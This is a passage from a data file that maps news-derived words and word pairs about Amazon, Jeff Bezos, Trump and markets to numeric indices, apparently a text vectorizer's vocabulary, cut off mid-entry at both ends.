66306, "donaldjtrumpjr": 66307, "2139393959 k4a": 66308, "president resentment": 66309, "responsible steps": 66310, "local retailer": 66311, "kenosha wisc": 66312, "epshteyn offers": 66313, "moynihan professor": 66314, "earliest employees": 66315, "tainted": 66316, "pixel xl": 66317, "works payforplay": 66318, "maker sonos": 66319, "deep discount": 66320, "convene committee": 66321, "dwellers": 66322, "robert weinroth": 66323, "reasonable goal": 66324, "recognize": 66325, "bezoz": 66326, "deputy social": 66327, "counsellor": 66328, "job placement": 66329, "nearly sensitive": 66330, "hamfisted regulations": 66331, "effort circumstance": 66332, "turkey dumping": 66333, "locations long": 66334, "operators including": 66335, "westward expansion": 66336, "china gaining": 66337, "wholly regressive": 66338, "charged issue": 66339, "billion tech": 66340, "book howard": 66341, "state matching": 66342, "congresswoman meng": 66343, "resistance bled": 66344, "7ct": 66345, "development officials": 66346, "workplace rights": 66347, "maryland governor": 66348, "habitat": 66349, "loan payments": 66350, "gun control": 66351, "halt cia": 66352, "mckinnon wsj": 66353, "evil anti": 66354, "john leguizamo": 66355, "buzzfeed": 66356, "malinchak featured": 66357, "regain custody": 66358, "html utm_medium": 66359, "enrollment": 66360, "indicate companies": 66361, "worth 2018": 66362, "preventing counterfeit": 66363, "755 shares": 66364, "alerts plus": 66365, "hunt state": 66366, "favorite company": 66367, "proposing big": 66368, "nonnegotiable": 66369, "accordance": 66370, "internal": 66371, "wit hbo": 66372, "market biggest": 66373, "online shops": 66374, "mahaney says": 66375, "peter faricy": 66376, "struggling metropolitan": 66377, "commercial cloud": 66378, "flash forward": 66379, "pioneering": 66380, "make adjustments": 66381, "sandbox": 66382, "orwell great": 66383, "administration acted": 66384, "old hacker": 66385, "francoise": 66386, "accuse": 66387, "fizzled amazon": 66388, "professionals filed": 66389, "new leader": 66390, "1949": 66391, "weeks sanchez": 66392, "replacing": 66393, "tao te": 66394, "people effort": 66395, "episodic chronicle": 66396, "cnn video": 66397, "motivation": 66398, "shocker": 66399, "house photo": 66400, "shills": 66401, "concrete attempts": 66402, "coal nuclear": 66403, "tooembarrassed": 66404, "globaldata saunders": 66405, "blog deadspin": 66406, "labor relations": 66407, "commentator referenced": 66408, "ikullgren": 66409, "eaters": 66410, "prematurely jerry": 66411, "caucus isn": 66412, "moving money": 66413, "upset victory": 66414, "american history": 66415, "long rocky": 66416, "replay": 66417, "labs": 66418, "trump war": 66419, "architectures really": 66420, "northeast wynn": 66421, "conservative goal": 66422, "sundance institute": 66423, "instrument": 66424, "paralyzed veterans": 66425, "wove": 66426, "start delivering": 66427, "suck": 66428, "repping": 66429, "sent reeling": 66430, "national guard": 66431, "paulina": 66432, "indoors": 66433, "continually work": 66434, "doorway": 66435, "valley eu": 66436, "military instillations": 66437, "allstate corp": 66438, "uk spain": 66439, "media retailers": 66440, "spelunking": 66441, "stars nice": 66442, "skills real": 66443, "electronic charging": 66444, "slaughtered millions": 66445, "offering financial": 66446, "month spokeswoman": 66447, "talked twitter": 66448, "whoare": 66449, "junk yard": 66450, "kully antitrust": 66451, "job threat": 66452, "pages long": 66453, "mile efforts": 66454, "1168 page": 66455, "story russian": 66456, "humiliating": 66457, "lifeblood": 66458, "sicario day": 66459, "naturally protective": 66460, "years called": 66461, "ruth porat": 66462, "guy gill": 66463, "vehicle stereo": 66464, "fairport": 66465, "sh facebooks": 66466, "sweetheart": 66467, "mcconnell faces": 66468, "bug": 66469, "watchdog congress": 66470, "recently raised": 66471, "2018 midterm": 66472, "meet expectations": 66473, "science says": 66474, "oscar winning": 66475, "lion share": 66476, "intentionally hung": 66477, "armed man": 66478, "sorting discounts": 66479, "cronyism continues": 66480, "simply leave": 66481, "wore wire": 66482, "da vinci": 66483, "amazon drove": 66484, "bay produced": 66485, "fcc rules": 66486, "animosity": 66487, "amazon refusing": 66488, "technology infrastructure": 66489, "exercising": 66490, "winning collection": 66491, "boeing employees": 66492, "rog looks": 66493, "concerns circulated": 66494, "best exploited": 66495, "amit": 66496, "eleanor oliphant": 66497, "best billionaire": 66498, "xinhua": 66499, "table event": 66500, "america economic": 66501, "vendor analysis": 66502, "scandal shocking": 66503, "finance committee": 66504, "tennant michael": 66505, "segar construction": 66506, "mention companies": 66507, "case sent": 66508, "toll climbs": 66509, "benevolent champion": 66510, "corp mcd": 66511, "0x734": 66512, "creator cuse": 66513, "overvalued potential": 66514, "amazon executive": 66515, "collins covers": 66516, "permanent progressive": 66517, "spanish culture": 66518, "spiritual counselor": 66519, "slovenly": 66520, "maker 463": 66521, "caused bezos": 66522, "screamingly": 66523, "benefits tremendously": 66524, "online platform": 66525, "paving": 66526, "elizabeth wasserman": 66527, "derided amazon": 66528, "typically migrants": 66529, "hopeful": 66530, "pescatore": 66531, "2f17855358 2fjeff": 66532, "volunteers": 66533, "muslim travel": 66534, "offering adobe": 66535, "highly sensitive": 66536, "national brands": 66537, "refine": 66538, "president pence": 66539, "tech training": 66540, "tuition": 66541, "lawmakers president": 66542, "predatory anti": 66543, "faults": 66544, "just 145": 66545, "turner": 66546, "smartphone looking": 66547, "communities indigenous": 66548, "leader refusal": 66549, "hopkins": 66550, "later saying": 66551, "worse terms": 66552, "start date": 66553, "melber thebeatwithari": 66554, "customs imposes": 66555, "authoritarian rule": 66556, "young person": 66557, "blacq": 66558, "bear diapers": 66559, "touch": 66560, "competition android": 66561, "personal ownership": 66562, "wife jane": 66563, "left national": 66564, "trounced earnings": 66565, "buys progressives": 66566, "trump brushes": 66567, "robotics": 66568, "called axios": 66569, "politicians line": 66570, "loathe": 66571, "workers older": 66572, "disaffected washed": 66573, "increasing": 66574, "hour comedy": 66575, "division told": 66576, "coalition quickly": 66577, "carbon footprint": 66578, "daily roundup": 66579, "london tube": 66580, "endurance race": 66581, "filipino nicole": 66582, "shelf jeff": 66583, "dc documents": 66584, "story source": 66585, "receptive": 66586, "speech officially": 66587, "creeped": 66588, "castle strip": 66589, "addressable market": 66590, "awards hobnobbing": 66591, "shame": 66592, "2033": 66593, "stores starbucks": 66594, "violated ethics": 66595, "claim colorado": 66596, "iot": 66597, "service decides": 66598, "economy followed": 66599, "stagger": 66600, "pune": 66601, "leave china": 66602, "817": 66603, "profitable company": 66604, "bezos pre": 66605, "twilight": 66606, "heptio": 66607, "criticism really": 66608, "data research": 66609, "repealing": 66610, "parlayed": 66611, "abramowitz denied": 66612, "corporate governance": 66613, "wisconsin met": 66614, "accompanied": 66615, "aquarefining": 66616, "freeze sussex": 66617, "coverage entirely": 66618, "majority stake": 66619, "primarily engaged": 66620, "city areas": 66621, "amazon crosstalk": 66622, "yale university": 66623, "funds loved": 66624, "yields rise": 66625, "essential service": 66626, "merced": 66627, "backward offering": 66628, "birthday people": 66629, "bearishness managers": 66630, "movie monsters": 66631, "efficient economy": 66632, "390 rogue": 66633, "service interruptions": 66634, "nturner7": 66635, "finished consumer": 66636, "stock market": 66637, "rotten": 66638, "air conditioning": 66639, "maintained amazon": 66640, "published audio": 66641, "california leads": 66642, "groups applauding": 66643, "oa pa": 66644, "vetted qualified": 66645, "commitments pdf": 66646, "wished recipients": 66647, "collective mlc": 66648, "max brantley": 66649, "operating capacity": 66650, "secondary": 66651, "titled abroad": 66652, "marginalized group": 66653, "scandalous": 66654, "package journey": 66655, "needlessly freezing": 66656, "annual profit": 66657, "know lara": 66658, "cr": 66659, "deliver amazon": 66660, "key aspects": 66661, "seller list": 66662, "oversee silicon": 66663, "anger management": 66664, "offer 325": 66665, "pakistan election": 66666, "erasing black": 66667, "walmart pointed": 66668, "going start": 66669, "debilitating phrase": 66670, "war damage": 66671, "gains taxes": 66672, "faceted highly": 66673, "welcome read": 66674, "havrilesky": 66675, "offering checking": 66676, "legitimate workplace": 66677, "trio": 66678, "lead nationalist": 66679, "2012 daniel": 66680, "popular fox": 66681, "house embed": 66682, "picked bad": 66683, "kyle dailycallernewsfoundation": 66684, "savings shaping": 66685, "wing republicans": 66686, "100 early": 66687, "ranger": 66688, "kaitlan": 66689, "1950s life": 66690, "taught": 66691, "cramer micron": 66692, "gimel": 66693, "sytle mentality": 66694, "later creating": 66695, "8211 victory": 66696, "plus commentary": 66697, "1908": 66698, "foes initially": 66699, "biggest brand": 66700, "think amzn": 66701, "400 new": 66702, "previously allowed": 66703, "patient access": 66704, "heights": 66705, "energize oppo": 66706, "announcement cameroon": 66707, "material aside": 66708, "exclusively according": 66709, "months earlier": 66710, "d6f1rzl8mc": 66711, "distract": 66712, "postwar": 66713, "split publicly": 66714, "saying disney": 66715, "isle": 66716, "bond market": 66717, "frequeny": 66718, "wojtaszek": 66719, "studiom overworked": 66720, "briefly exceeded": 66721, "old worn": 66722, "equally deep": 66723, "4ebc": 66724, "phone wasn": 66725, "operating revenue": 66726, "8217 peers": 66727, "000 annual": 66728, "subjecting": 66729, "ireland versus": 66730, "goal followed": 66731, "olympics": 66732, "noel feels": 66733, "promotions": 66734, "enquirer jan": 66735, "repurchased approximately": 66736, "incumbent democrat": 66737, "tv screens": 66738, "resourced high": 66739, "wild swings": 66740, "watergate size": 66741, "person buy": 66742, "speech": 66743, "mini": 66744, "patients right": 66745, "value investor": 66746, "amazon officially": 66747, "fake": 66748, "holding kindle": 66749, "congress government": 66750, "democrat party": 66751, "peter giessen": 66752, "outsize": 66753, "0x8lechrcf": 66754, "acquire": 66755, "wti": 66756, "grine": 66757, "plan dr": 66758, "million investment": 66759, "shootout": 66760, "missed appointments": 66761, "talk turned": 66762, "various methods": 66763, "defence euro": 66764, "wall mariachi": 66765, "harjinder": 66766, "bezos exposes": 66767, "berlin fragmentary": 66768, "tv outing": 66769, "crybaby": 66770, "60m": 66771, "friends reportedly": 66772, "sherman antitrust": 66773, "cars advanced": 66774, "goods totaled": 66775, "alleged amazon": 66776, "5x vmware": 66777, "spectrum": 66778, "completed work": 66779, "sanches reportedly": 66780, "currently using": 66781, "million seed": 66782, "regulators subpoena": 66783, "pretext": 66784, "united auto": 66785, "kunduz": 66786, "bigger problems": 66787, "storm": 66788, "urbanologist richard": 66789, "make ants": 66790, "senior adviser": 66791, "special democrats": 66792, "analog semiconductors": 66793, "grind": 66794, "large businesses": 66795, "conservationists": 66796, "director jeff": 66797, "liability carveout": 66798, "suffer absolutely": 66799, "providers aws": 66800, "john wray": 66801, "boss": 66802, "military surveillance": 66803, "market position": 66804, "buy america": 66805, "strange cramer": 66806, "amazon fee": 66807, "jonathan van": 66808, "article originally": 66809, "china main": 66810, "ann": 66811, "amazon handmade": 66812, "passports": 66813, "robert greene": 66814, "indispensable": 66815, "trump family": 66816, "575x270": 66817, "inaugural aws": 66818, "national campaign": 66819, "opponent ties": 66820, "post fabricated": 66821, "expensive crude": 66822, "warren unveiled": 66823, "firm wealthsimple": 66824, "herguth mayor": 66825, "law cleaving": 66826, "private research": 66827, "applaud gov": 66828, "drafts view": 66829, "congress says": 66830, "game changer": 66831, "contractual agreement": 66832, "fallout michael": 66833, "publisher did": 66834, "tilley chief": 66835, "dips": 66836, "calls china": 66837, "post scam": 66838, "usatoday nationalpost": 66839, "messages hope": 66840, "directors started": 66841, "cnn schiff": 66842, "maxinewaters": 66843, "pussy cat": 66844, "environmentalists sure": 66845, "usps spokesman": 66846, "willingly tolerate": 66847, "profitable approach": 66848, "police surveillance": 66849, "document archived": 66850, "prostitution atlanta": 66851, "thrones actress": 66852, "hearth": 66853, "irate": 66854, "collateral netflix": 66855, "claim saying": 66856, "comment subscribe": 66857, "environment platform": 66858, "tornadoes norwegian": 66859, "marginal revenue": 66860, "folding": 66861, "multiple opportunities": 66862, "ascended": 66863, "recently predicted": 66864, "topic trump": 66865, "amazon super": 66866, "comment bezos": 66867, "raised add_commas": 66868, "undoubtedly massive": 66869, "latest pick": 66870, "tabloid reporting": 66871, "warmland": 66872, "areas especially": 66873, "tweets trump": 66874, "possible anti": 66875, "iran says": 66876, "amazon milton": 66877, "agency cloud": 66878, "duty assessed": 66879, "arapahoe": 66880, "company openly": 66881, "morgan 215": 66882, "dj ezasscul": 66883, "spam": 66884, "lifestyles respect": 66885, "shelly": 66886, "day later": 66887, "rabbit sold": 66888, "author illustrates": 66889, "defends torture": 66890, "removal trump": 66891, "mail packages": 66892, "disclosing personal": 66893, "group llc": 66894, "absorb fox": 66895, "stocks extend": 66896, "students faculty": 66897, "press releases": 66898, "look easy": 66899, "blatant oversight": 66900, "x5": 66901, "beloved video": 66902, "1350": 66903, "education health": 66904, "website jet": 66905, "corp market": 66906, "comforts": 66907, "ivanka branded": 66908, "tx sentenced": 66909, "investor positioning": 66910, "american modernist": 66911, "hire dozens": 66912, "unleashed litany": 66913, "smoky": 66914, "based creative": 66915, "pain eighty": 66916, "effectively reflect": 66917, "changed": 66918, "readystate a4ee": 66919, "intelligence indicates": 66920, "lobby": 66921, "forces outside": 66922, "nbsp mackenzie": 66923, "sales assistant": 66924, "hollywood business": 66925, "drumming": 66926, "doldrums": 66927, "grown substantially": 66928, "startups fairer": 66929, "shipping partnership": 66930, "bernie democratic": 66931, "candidate pritzker": 66932, "newest attorney": 66933, "season amazon": 66934, "publicly say": 66935, "overlaying": 66936, "run data": 66937, "reached brexit": 66938, "asked napolitano": 66939, "377 4000": 66940, "balancing": 66941, "drug kickbacks": 66942, "halt amazon": 66943, "accompanies terrible": 66944, "new workforce": 66945, "bush grew": 66946, "term laundry": 66947, "deplorables": 66948, "128 750": 66949, "fr amazon": 66950, "holy crap": 66951, "campaign described": 66952, "nextgov": 66953, "krieger": 66954, "threat jeopardizes": 66955, "bezos read": 66956, "democratic resurgence": 66957, "employment history": 66958, "genius experiment": 66959, "2019 editions": 66960, "exits alex": 66961, "packages": 66962, "patently clear": 66963, "lost ad": 66964, "launched concerted": 66965, "toured": 66966, "amazon angry": 66967, "styrofoam": 66968, "kathy griffin": 66969, "encroaches": 66970, "cancer foundation": 66971, "bid add": 66972, "shoppers bypassing": 66973, "fr": 66974, "drc": 66975, "adoration": 66976, "novelrank": 66977, "time point": 66978, "begin flurry": 66979, "kardashians kim": 66980, "putnam": 66981, "online results": 66982, "america hadn": 66983, "kurt": 66984, "asset base": 66985, "mackenzie bezos": 66986, "market hits": 66987, "calls trumpatriotism": 66988, "revitalize moribund": 66989, "nbsp north": 66990, "rothschild called": 66991, "barely decade": 66992, "successful mixed": 66993, "delivering ecommerce": 66994, "overnight high": 66995, "publicized nationwide": 66996, "politician barbs": 66997, "laws want": 66998, "corker tenn": 66999, "pentagon euro": 67000, "amazon large": 67001, "jovem pan": 67002, "imposes productivity": 67003, "brilliant time": 67004, "doorsteps wall": 67005, "document provides": 67006, "domino effect": 67007, "upstate area": 67008, "search giant": 67009, "strategists": 67010, "criticism higher": 67011, "week fetus": 67012, "wall emergency": 67013, "programming interface": 67014, "enquirer insiders": 67015, "spared": 67016, "nalgene took": 67017, "marquees": 67018, "caused huge": 67019, "choir deplorablechoir": 67020, "iran deal": 67021, "literally stopped": 67022, "firearm discharges": 67023, "new photos": 67024, "firm loop": 67025, "revealed bezos": 67026, "popular culture": 67027, "senators ask": 67028, "material unless": 67029, "corporation friendly": 67030, "500 located": 67031, "order watch": 67032, "retail shelves": 67033, "profitability struggles": 67034, "amazon politicians": 67035, "lowers": 67036, "saw worries": 67037, "bipartisan fashion": 67038, "unexplained content": 67039, "marina": 67040, "tattoo michael": 67041, "cisco hpe": 67042, "thriller traitors": 67043, "tab": 67044, "new brick": 67045, "stock google": 67046, "changed colour": 67047, "illusionist vegas": 67048, "prepared foods": 67049, "gelatin": 67050, "officials pentagon": 67051, "better employment": 67052, "course included": 67053, "frameworks": 67054, "relatively kind": 67055, "economic downturn": 67056, "carnivalcruise": 67057, "clima politico": 67058, "elections boteach": 67059, "signing judge": 67060, "know bezos": 67061, "illegally crossing": 67062, "tech enabled": 67063, "inadequate plan": 67064, "road improvements": 67065, "reassure society": 67066, "score 2018": 67067, "lawyers argued": 67068, "immigration miller": 67069, "clearances": 67070, "gop donor": 67071, "malice glinting": 67072, "romanoffs amazon": 67073, "bin nayef": 67074, "house police": 67075, "mdg advertising": 67076, "rockwell": 67077, "sanchez supplied": 67078, "radar screen": 67079, "providing jobs": 67080, "granting incentives": 67081, "reassure investors": 67082, "tax avoiding": 67083, "tabloid chief": 67084, "operate including": 67085, "voices online": 67086, "symptoms": 67087, "functioning": 67088, "know lot": 67089, "larson": 67090, "people illegally": 67091, "flake ariz": 67092, "long discussed": 67093, "arresting": 67094, "male persecution": 67095, "mold": 67096, "nfib": 67097, "orca": 67098, "brazilian democracy": 67099, "regulators according": 67100, "reorg": 67101, "amicably divorcing": 67102, "schlapp": 67103, "people holding": 67104, "hourly associates": 67105, "overtime": 67106, "fair emily": 67107, "birnbaum": 67108, "assist puerto": 67109, "berenberg capital": 67110, "ugly lows": 67111, "default rates": 67112, "biased face": 67113, "portion": 67114, "make products": 67115, "observat\u00f3rio": 67116, "country thousands": 67117, "planned": 67118, "cbs4 meteorologist": 67119, "needed palette": 67120, "new partners": 67121, "street finished": 67122, "actions targeting": 67123, "178bn 137bn": 67124, "ibd analysis": 67125, "walmart owned": 67126, "vietnam strategic": 67127, "disciplines": 67128, "chatham executives": 67129, "targeting drug": 67130, "matt rumsey": 67131, "river water": 67132, "revelations surrounding": 67133, "connect": 67134, "whale mcdonald": 67135, "won participate": 67136, "fiesty": 67137, "digested": 67138, "sayingessentially": 67139, "election calls": 67140, "president isstill": 67141, "dollar marks": 67142, "readiness": 67143, "account": 67144, "ballistic missiles": 67145, "paralympic": 67146, "king college": 67147, "firedfbi": 67148, "stocks amazon": 67149, "388 robo": 67150, "affairs therapist": 67151, "controlled maga": 67152, "amazon missed": 67153, "students changed": 67154, "technological advancements": 67155, "491": 67156, "racy photographs": 67157, "glucosinolate nutrients": 67158, "trafigura halts": 67159, "cherry zhang": 67160, "rates don": 67161, "administration policies": 67162, "actress activist": 67163, "flooding amazon": 67164, "quoted sources": 67165, "association": 67166, "divided vatican": 67167, "legislation dealing": 67168, "rie": 67169, "oil sets": 67170, "dunkin brands": 67171, "worth keeping": 67172, "times mecca": 67173, "chu": 67174, "faced questions": 67175, "states buys": 67176, "183 456": 67177, "progression": 67178, "superpowers according": 67179, "guests mingled": 67180, "school told": 67181, "000 corporate": 67182, "world right": 67183, "global expansion": 67184, "trigger president": 67185, "real_estate commercial": 67186, "start kicking": 67187, "financial adviser": 67188, "hypersensitive": 67189, "crisis ifhe": 67190, "reportedly pushed": 67191, "crain": 67192, "director cordray": 67193, "placed": 67194, "sparse": 67195, "amazon related": 67196, "business income": 67197, "regulate data": 67198, "tariff rate": 67199, "dogma wide": 67200, "2015 new": 67201, "394 000": 67202, "quarter guidance": 67203, "public utility": 67204, "walsh": 67205, "reports state": 67206, "healthcare tweets": 67207, "israeli cloud": 67208, "factual findings": 67209, "jack ryan": 67210, "york headquarters": 67211, "smart tips": 67212, "senators": 67213, "ambiguous statute": 67214, "trump comments": 67215, "eat bit": 67216, "finding new": 67217, "46m reports": 67218, "buy tires": 67219, "sentiment yesterday": 67220, "sanders credited": 67221, "journey conley": 67222, "techlash political": 67223, "triumph feels": 67224, "megdal pitchers": 67225, "estate empire": 67226, "marriage peter": 67227, "later common": 67228, "conservative sims": 67229, "service obligation": 67230, "effective cheering": 67231, "sufficient revenue": 67232, "trickster roger": 67233, "walker outrageously": 67234, "unfettered genius": 67235, "just means": 67236, "fake reporter": 67237, "jackson international": 67238, "jailed": 67239, "deliver advanced": 67240, "institutions bezos": 67241, "including old": 67242, "drafted contractor": 67243, "military departments": 67244, "state teachers": 67245, "7j1gyvrsrt bloomberg": 67246, "health worker": 67247, "hollywood tapes": 67248, "confidential settlement": 67249, "nfbk": 67250, "glenn weiss": 67251, "abramson defended": 67252, "primary recommendation": 67253, "arkansas": 67254, "clinton public": 67255, "broadened": 67256, "snell": 67257, "early mistakes": 67258, "super greensand": 67259, "state owned": 67260, "despite frenzied": 67261, "menu clearly": 67262, "excited twitterian": 67263, "york treatment": 67264, "sporkful yewande": 67265, "simmered": 67266, "house intelligence": 67267, "jared halpern": 67268, "annual global": 67269, "democracy think": 67270, "suffered significant": 67271, "local stations": 67272, "american dream": 67273, "activity location": 67274, "takes care": 67275, "campusreform org": 67276, "text leak": 67277, "family guy": 67278, "buy online": 67279, "noughties": 67280, "1537260656 mod": 67281, "curb just": 67282, "predatory pricing": 67283, "terrific new": 67284, "wouldn elaborate": 67285, "722": 67286, "weakening domestic": 67287, "holistically": 67288, "buy ulta": 67289, "current spate": 67290, "legislative authority": 67291, "gmt jussie": 67292, "owning monopoly": 67293, "supremacist militias": 67294, "headline making": 67295, "market advocate": 67296, "billionaire hedge": 67297, "political right": 67298, "american behavior": 67299, "l2 amazon": 67300, "story contrarian": 67301, "disadvantage trump": 67302, "4k ultra": 67303, "troubles pecker": 67304, "acquisitions just": 67305, "sell appear": 67306, "male friend": 67307, "editor springer": 67308, "street shifted": 67309, "n0 r4ee": 67310, "wage blue": 67311, "years stoking": 67312, "antitrust talk": 67313, "g5q var": 67314, "19pm": 67315, "including canceling": 67316, "price drop": 67317, "extended attack": 67318, "company signed": 67319, "html source": 67320, "owns wme": 67321, "doubled finally": 67322, "receive working": 67323, "buffett euro": 67324, "planned senate": 67325, "food heaven": 67326, "9625": 67327, "camarda": 67328, "global economic": 67329, "network effects": 67330, "story oil": 67331, "dockless scooters": 67332, "needs fewer": 67333, "adventori": 67334, "revivals": 67335, "revenue share": 67336, "populist bezos": 67337, "pay decent": 67338, "jeff reversed": 67339, "polices": 67340, "minutes aired": 67341, "concerns": 67342, "stanley maintained": 67343, "morning liz": 67344, "trump house": 67345, "new center": 67346, "2018 npr": 67347, "competition point": 67348, "year vir": 67349, "attendees included": 67350, "tall clock": 67351, "destruction amazon": 67352, "new model": 67353, "doj infiltrated": 67354, "position amazon": 67355, "worker michael": 67356, "200 hours": 67357, "year everybody": 67358, "current candidates": 67359, "delay reuters": 67360, "amazon achtung": 67361, "alternatively mounting": 67362, "richter": 67363, "billion purchase": 67364, "hasn helped": 67365, "scott hagedorn": 67366, "recent unprecedented": 67367, "spectacular": 67368, "donnelly managing": 67369, "clair": 67370, "offense learning": 67371, "state don": 67372, "derides": 67373, "locations promising": 67374, "manufacturing subcontractors": 67375, "quips": 67376, "getting nervous": 67377, "pushing shares": 67378, "min kim": 67379, "brie glow": 67380, "business ceo": 67381, "owner sent": 67382, "amazon amid": 67383, "yes thanks": 67384, "marty baron": 67385, "17m shares": 67386, "alleged skewing": 67387, "dwarfs google": 67388, "eliminate workers": 67389, "market appears": 67390, "global retailer": 67391, "facebook regularly": 67392, "000 toys": 67393, "olick open": 67394, "jewels": 67395, "spicer won": 67396, "pay subscription": 67397, "million population": 67398, "enhancements mar": 67399, "synergies": 67400, "develop second": 67401, "sears edward": 67402, "leverage business": 67403, "real store": 67404, "fang members": 67405, "dismissed ocasio": 67406, "dotcom failure": 67407, "city residents": 67408, "protection bureau": 67409, "router company": 67410, "sold shares": 67411, "office schiff": 67412, "shares traded": 67413, "year related": 67414, "election reform": 67415, "bluewave hashtag": 67416, "xinhua news": 67417, "suppliers despite": 67418, "spicer": 67419, "phishing decreased": 67420, "high performance": 67421, "bitcoin business": 67422, "honduras farm": 67423, "kelli kedis": 67424, "alabama gop": 67425, "day group": 67426, "actually serving": 67427, "second round": 67428, "269": 67429, "truth society": 67430, "market exclusive": 67431, "eig": 67432, "sens susan": 67433, "group right": 67434, "playing yoru": 67435, "world needs": 67436, "heather balogh": 67437, "rogue princess": 67438, "factory production": 67439, "equities attempted": 67440, "believe public": 67441, "nationals overnight": 67442, "american goods": 67443, "bedminster trump": 67444, "covfefe coffee": 67445, "business updates": 67446, "ckpics": 67447, "multibillion dollar": 67448, "recommended video": 67449, "xr shipments": 67450, "accenture acn": 67451, "featured flooding": 67452, "previous experience": 67453, "isn concern": 67454, "affairs trump": 67455, "data center": 67456, "regulators facebook": 67457, "hood brim": 67458, "separated 300": 67459, "president attempt": 67460, "financial troubles": 67461, "press office": 67462, "website glitch": 67463, "drama started": 67464, "outs international": 67465, "promises relative": 67466, "girds": 67467, "carell says": 67468, "giant huawei": 67469, "tycoon": 67470, "political firm": 67471, "diverse perspectives": 67472, "thought kindle": 67473, "bezos pushed": 67474, "upper valley": 67475, "view khan": 67476, "generate additional": 67477, "congratulatory": 67478, "oct 2018": 67479, "flsa employers": 67480, "overdue": 67481, "massive blind": 67482, "quipped good": 67483, "simple don": 67484, "having run": 67485, "estate manager": 67486, "potential privatization": 67487, "just joined": 67488, "amazon xingu": 67489, "factor haverty": 67490, "fed started": 67491, "approach rourke": 67492, "phi beta": 67493, "thai army": 67494, "brooklyn espinal": 67495, "tell people": 67496, "obscure diplomat": 67497, "debt china": 67498, "amazon thank": 67499, "bittersweet rate": 67500, "winning tale": 67501, "lower retail": 67502, "skills gap": 67503, "largest social": 67504, "post popular": 67505, "remake": 67506, "flood meme": 67507, "shoelace lead": 67508, "diesearch fortrump": 67509, "credits including": 67510, "battling deadly": 67511, "based uni": 67512, "publisher ami": 67513, "rainier": 67514, "support washington": 67515, "groaned": 67516, "delhi phishing": 67517, "momentum going": 67518, "downright frightening": 67519, "warren trump": 67520, "recallproximic nextvideourl": 67521, "berkeley researchers": 67522, "supervisory": 67523, "communist sentiment": 67524, "workers manage": 67525, "billionaires seek": 67526, "city taxpayers": 67527, "disclaimer legal": 67528, "preliminary investigations": 67529, "story scientists": 67530, "leanna": 67531, "growing logistics": 67532, "pricing earlier": 67533, "environmentalists truck": 67534, "inflating": 67535, "carr": 67536, "antitrust movement": 67537, "goals": 67538, "staff time": 67539, "rebuffed canadian": 67540, "packages olaoluwa": 67541, "mega transportation": 67542, "lewis": 67543, "record championing": 67544, "belmont voiced": 67545, "costs": 67546, "alabama medieval": 67547, "trust men": 67548, "expensive divorce": 67549, "community focused": 67550, "dismissive approach": 67551, "sister head": 67552, "behemoth left": 67553, "brody works": 67554, "clip king": 67555, "rinds fda": 67556, "president told": 67557, "year look": 67558, "alison chandler": 67559, "surveillance 2018": 67560, "herring": 67561, "amazon previous": 67562, "disclosure worked": 67563, "say pen": 67564, "begins regardless": 67565, "times reached": 67566, "ceiling donald": 67567, "mcbride gloria": 67568, "patriots": 67569, "lit trump": 67570, "liberal economic": 67571, "officer brad": 67572, "paso texas": 67573, "adding employees": 67574, "isolate north": 67575, "delivering directly": 67576, "censor": 67577, "rep duncan": 67578, "reviewing bezos": 67579, "dumb dads": 67580, "competition additionally": 67581, "legislative days": 67582, "washington source": 67583, "trump events": 67584, "world europe": 67585, "adaptive learning": 67586, "emerging": 67587, "building trucks": 67588, "redundancies": 67589, "corporations offering": 67590, "receive support": 67591, "blurry": 67592, "smart 2019": 67593, "tradition state": 67594, "traffic according": 67595, "retail profit": 67596, "mini funds": 67597, "absence": 67598, "insurance prescription": 67599, "federation retail": 67600, "anarchic fever": 67601, "micron semiconductor": 67602, "smart decision": 67603, "company watch": 67604, "writer danny": 67605, "baby blue": 67606, "public aims": 67607, "impressive broad": 67608, "carranza insight": 67609, "killing": 67610, "house official": 67611, "better pay": 67612, "filing actions": 67613, "clear creating": 67614, "dominate commerce": 67615, "time tens": 67616, "ceo penis": 67617, "brennan double": 67618, "align": 67619, "anothergovernment": 67620, "775": 67621, "reasons bartlett": 67622, "naz riz": 67623, "int": 67624, "content marvel": 67625, "survey finds": 67626, "government reagan": 67627, "zuma": 67628, "kota recently": 67629, "include reading": 67630, "aws fit": 67631, "bds": 67632, "times algeria": 67633, "anecdotally": 67634, "soy industry": 67635, "lost proclaimed": 67636, "commentcount": 67637, "work uncovering": 67638, "mining company": 67639, "devout bowie": 67640, "jfp97kdkbp jonathan": 67641, "1oypfe9 new": 67642, "dave brown": 67643, "sent closed": 67644, "spotlighted fierce": 67645, "shareholders feel": 67646, "politics edited": 67647, "talks reuters": 67648, "androids instead": 67649, "building community": 67650, "breakfast": 67651, "hilary": 67652, "follow bestproducts": 67653, "investor held": 67654, "absolutely love": 67655, "life difficult": 67656, "neat rows": 67657, "chinese engineers": 67658, "video originally": 67659, "exclusive cnbc": 67660, "champions art": 67661, "null img_custom_credit": 67662, "modern cloud": 67663, "stage does": 67664, "collective 659": 67665, "violative": 67666, "environment bolsonaro": 67667, "corpse disposal": 67668, "margie omero": 67669, "wide latitude": 67670, "rainforest logging": 67671, "internet stores": 67672, "award yes": 67673, "require social": 67674, "company loses": 67675, "hell breaks": 67676, "audible popular": 67677, "wing nostrums": 67678, "faces 300": 67679, "holdings 100": 67680, "customers quicker": 67681, "second": 67682, "story texas": 67683, "techradar believe": 67684, "tax increases": 67685, "nat enquirer": 67686, "slave owners": 67687, "potential conflict": 67688, "policy issues": 67689, "financial corruption": 67690, "substantive mutually": 67691, "extradite": 67692, "musk company": 67693, "neighborhood selected": 67694, "pales": 67695, "campbell": 67696, "51554477721": 67697, "pretty bothered": 67698, "stated federal": 67699, "faring": 67700, "vinyl": 67701, "owens report": 67702, "fee 119": 67703, "record": 67704, "cautiously optimistic": 67705, "andrea lee": 67706, "elite air": 67707, "lake union": 67708, "areas unlike": 67709, "vulnerable communities": 67710, "breaking wapo": 67711, "senior director": 67712, "shopping news": 67713, "morgan rates": 67714, "upend": 67715, "radio entertainers": 67716, "sammataro": 67717, "puckette": 67718, "sorkin writes": 67719, "afp advertisement": 67720, "legislation aimed": 67721, "wireless fund": 67722, "national opioid": 67723, "raking": 67724, "annual ranking": 67725, "trademark sass": 67726, "struggle trump": 67727, "awards ceremony": 67728, "recent expansion": 67729, "senator lacks": 67730, "disbanded motorheads": 67731, "mock amazon": 67732, "york usa": 67733, "vote moderate": 67734, "company value": 67735, "bonus video": 67736, "sections": 67737, "time talking": 67738, "employers facing": 67739, "edelman synapse": 67740, "proposed narrowing": 67741, "schuster scrambles": 67742, "2016 jarrett": 67743, "capacity amazon": 67744, "council known": 